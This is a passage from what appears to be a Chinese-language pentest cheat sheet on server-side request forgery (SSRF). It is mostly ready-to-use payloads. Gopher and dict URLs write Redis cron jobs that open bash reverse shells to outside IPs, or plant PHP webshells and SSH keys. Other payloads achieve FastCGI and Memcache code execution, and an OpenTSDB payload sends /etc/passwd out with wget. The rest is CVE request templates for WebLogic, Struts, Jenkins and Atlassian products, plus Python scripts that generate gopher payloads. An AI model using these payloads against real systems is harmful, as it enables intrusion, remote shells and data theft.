<output message="wooyun" wsa:Action="http://wuyun.org/op" />
<wsp:PolicyReference URI=“http://wuyun.org/pr">
<fed:Federation FederationID="http://wuyun.org/fid">
<fed:FederationInclude>http://wuyun.org/inc</fed:FederationInclude>
<fed:TokenIssuerName>http://wuyun.org/iss</fed:TokenIssuerName>
<mex:MetadataReference>
<wsa:Address>http://wuyun.org/mex</wsa:Address>
</mex:MetadataReference>
<edmx:Reference URI="http://wuyun.org/edmxr">
<edmx:AnnotationsReference URI="http://wuyun.org/edmxa">
<xbrli:identifier scheme="http://wuyun.org/xbr">
<link:roleType roleURI="http://wuyun.org/role">
<stratml:Source>http://wuyun.org/stml</stratml:Source>
```

**数据库**

**MongoDB**

```
db.copyDatabase('\r\nconfig set dbfilename ssrf\r\nquit\r\n’,'test','10.6.4.166:6379')
```

**PostgresSQL**

```
SELECT dblink_send_query(
 'host=127.0.0.1 
dbname=quit 
user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n' 
password=1 port=6379 sslmode=disable', 
'select version();’ 
);
```

**MSSQL**

```
SELECT openrowset('SQLOLEDB', 'server=192.168.1.5;uid=sa;pwd=sa;database=master')
SELECT * FROM OpenDatasource('SQLOLEDB', 'Data Source=ServerName;User ID=sa;Password=sa' ) .Northwind.dbo.Categories
```

**图片处理函数**

```
FFmpeg
concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd
ImageMagick
fill 'url(http://wyssrf.wuyun.org)'
```

**攻击**

```
测试代码,需安装phpcurl模块apt-get install php7.0-curl
<?php
echo 'r u ok?';
function curl($url){  
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  curl_exec($ch);
  curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
对内网、本地进行端口扫描，获取服务的banner 信息
攻击运行在内网或本地的应用程序
对内网 WEB 应用进行指纹识别，通过访问默认文件实现(如：readme文件)
攻击内外网的 web 应用，主要是使用 GET 参数就可以实现的攻击(如：Struts2，sqli)
读取内网资源(如：利用file协议读取本地文件等)
跳板
无视cdn
利用Redis未授权访问，HTTP CRLF注入实现getshell
```

**文件读取**

```
>curl -v 'http://192.168.0.110/ssrf.php?url=file:///etc/passwd'
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/12.png)

```
?url=php://filter/read=convert.base64-encode/resource=./1.php
```

**端口探测**

```
>curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:22/'
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/13.png)

```
>curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:6379/info'
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/14.png)

**SSRF+Redis**

```
>curl -v 'http://192.168.0.112/ssrf.php?url=gopher://192.168.0.120:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.0.108%2f12345%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/15.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/16.png)

```
获取webshell
url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
url=dict://127.0.0.1:6379/SAVE

获取php反向shell
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
gopher://127.0.0.1:6379/_save
```

**302反弹shell**

```
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=flushall
302.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
?url=http://xxxx/reverse.php?s=dict&ip=10.20.*.*&port=6379&bhost=*.*.*.*&bport=1234
reverse.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
?>
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dir:/var/spool/cron/
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dbfilename:root
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=save
可设置burp–>intruder指定变量跑。
```

**Mysql**

```
https://github.com/FoolMitAh/mysql_gopher_attack
https://fireshellsecurity.team/isitdtu-friss/
```

**Weblogic SSRF+Redis**

```
探测
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
Redis反弹
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.0.110:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
SSRF+内网Struct2
http://www.xx.com/ssrf.php?url=http://10.1.1.1/action?action?redirect:http://attackerip/
```

**Ueditor SSRF**

```
/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.png
```

**Discuz**

```
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
```

**探测存活主机**

```
直接访问
http://www.xx.com/ssrf.php?url=http://192.168.0.1
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/17.png)

```
伪造POST请求
>curl -v 'http://www.xx.com/ssrf.php?url=gopher://192.168.0.10:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=bbbbb'
```

**gopher协议的脚本转换**

```
抓取本地测试的正常请求
>socat -v tcp-listen:4444,fork tcp-connect:目标IP:6379
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/18.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/19.png)

```
将捕获日志保存txt
使用脚本转换为支持gopher协议的字符串
转换规则
如果第一个字符是>或者< 那么丢弃该行字符串，表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串，表示返回的字符串。
将\r字符串替换成%0d%0a
空白行替换为%0a
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/20.png)

```
本地可执行
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/21.png)

```
远程执行需对空格进行编码后再url编码一次
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/192.168.0.108/12138%200>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/22.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/23.png) ![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/24.png)

**协议**

```
Curl版本需低于7.15.1
file:可回显时，使用file读取任意文件
dict:查看端口，操作内网服务
gopher:可发出get/post请求
使用gopher协议时，要进行两次url编码
http/https:探测存活主机
SFTP：ssrf.php?url=sftp://evil.com:11111/
TFTP：ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
LDAP：ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
netdoc：ssrf.php?url=netdoc:///etc/passwd
```

**dict协议写shell**

```
?url=dict://127.0.0.1:6379/set:x:<?php phpinfo();?>
?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
?url=dict://127.0.0.1:6379/config:set:dbfilename:php.php
?url=dict://127.0.0.1:6379/save
Unicode编码
?url=dict://127.0.0.1:6379/set:x:"\x3C\x3Fphp\x20echo `$_GET[x]`\x3B\x3F\x3E"
```

**slaveof复制shell到目标**

```
From:http://r3start.net/index.php/2020/05/09/683
你的redis设置一个shell的键
Yourredis>FLUSHALL
Yourredis>set shell "<?php phpinfo();?>"
?url=dict://127.0.0.1:6379/slaveof:yourredisIP:6379
?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
?url=dict://127.0.0.1:6379/config:set:dbfilename:test.php
?url=dict://127.0.0.1:6379/save
?url=dict://127.0.0.1:6379/slaveof:no:one
```

**slaveof反弹shell**

```
?url=dict://127.0.0.1:6379/slaveof: yourredisIP:6379
?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so
?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so
?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE
?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
?url=dict://127.0.0.1:6379/system.exec:'curl x.x.x.x/x'
?url=dict://127.0.0.1:6379/system.rev:x.x.x.x:8887
```

**SSRF+PDF**

```
<link rel=attachment href="file:///root/secret.txt">
PhantomJS示例
```

```javascript
<script>
    exfil = new XMLHttpRequest();
    exfil.open("GET","file:///etc/passwd");
    exfil.send();
    exfil.onload = function(){document.write(this.responseText);}
    exfil.onerror = function(){document.write('failed!')}
</script>
```

**盲SSRF**

```
假设存在一个盲SSRF
```

**Elasticsearch**

```
默认端口：9200
检查以下端点是否返回 200：
/_cluster/health
/_cat/indices
/_cat/health
如果存在POST请求的盲SSRF，可以请求以下路径关闭Elasticsearch
仅适用于 Elasticsearch 1.6 及以下版本
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
```

**Weblogic**

```
默认绑定端口：80、443（SSL）、7001、8888
CVE-2014-4210
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
get请求
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
CRLF 注入
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
结果
root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
CVE-2020-14883
Linux
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Windows
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
```

**Hashicorp Consul**

```
默认绑定端口：80、443（SSL）、8080
https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html
```

**Shellshock**

```
默认绑定端口：80、443（SSL）、8080
CGI路径
https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4
通过User-Agent的 Shellshock
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY
```

**Apache Druid**

```
如果可以查看状态码，请检查以下路径是否返回 200 状态码
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus
关闭任务，需要猜测任务 ID 或数据源名称
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
关闭Apache Druid Overlords的supervisors 
/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
```

**Apache Solr**

```
默认绑定端口：8983
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
Solr XXE (2017)
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
通过 dataImportHandler 进行 RCE
https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler
```

**PeopleSoft**

```
https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
XXE #1
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>
XXE #2
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
```

**Apache Struts**

```
默认绑定端口：80,443 (SSL),8080,8443 (SSL)
Struts2-016
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
```

**JBOSS**

```
默认绑定端口：80,443 (SSL),8080,8443 (SSL)
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
```

**Confluence**

```
默认绑定端口：80,443 (SSL),8080,8443 (SSL)
2016 年 11 月及之前发布的 Confluence 版本
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
CVE-2017-9506
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```

**Jira**

```
默认绑定端口：80,443 (SSL),8080,8443 (SSL)
CVE-2017-9506
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
CVE-2019-8451
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
```

**其他 Atlassian 产品**

```
默认绑定端口：80,443 (SSL),8080,8443 (SSL)
CVE-2017-9506
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```

**OpenTSDB**

```
默认绑定端口：4242
https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html
curl via RCE
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
CVE-2020-35476
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
```

**Jenkins**

```
CVE-2018-1000600
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
RCE
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
通过 Groovy 进行 RCE
cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
```

**Hystrix**

```
默认绑定端口：80,443 (SSL),8080
CVE-2020-5412
/proxy.stream?origin=http://SSRF_CANARY/
```

**W3 Total Cache**

```
默认绑定端口：80,443 (SSL)
CVE-2019-6715
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
https://klikki.fi/adv/w3_total_cache.html
<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>
```

**Docker**

```
使用以下路径来验证 Docker 的 API 的存在
/containers/json
/secrets
/services
RCE
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
```

**Gitlab Prometheus Redis Exporter**

```
默认绑定端口：9121
影响版本 13.1.1 之前的 Gitlab 实例
以下端点将允许攻击者转储通过 target 参数提供的 redis 服务器中的所有密钥：
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
```

**Redis**

```
计划任务RCE
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

gopher
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

上传shell
https://www.mdeditor.tw/pl/pBy0
```

```python
#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379" 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var" 
passwd=""

cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload
```

```
authorized_keys
```

```python
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
     "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload
```

**通过 Git 协议在 GitLab 上进行 RCE**

git://\[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

**Memcache**

```
默认绑定端口：11211
https://www.exploit-db.com/exploits/37815
https://www.exploit-db.com/exploits/42392
https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
```

**Apache Tomcat**

```
默认绑定端口：80,443 (SSL),8080,8443 (SSL)
https://github.com/pimps/gopher-tomcat-deployer
```

**FastCGI**

```
默认绑定端口：80,443 (SSL)
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
```

**Java RMI**

```
默认绑定端口：1090,1098,1099,1199,4443-4446,8999-9010,9999
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
```

**SSRF到XSS**

```
http://brutelogic.com.br/poc.svg -> simple alert
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf

https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg
```

**XSS到SSRF**

**使用 iframe**

```
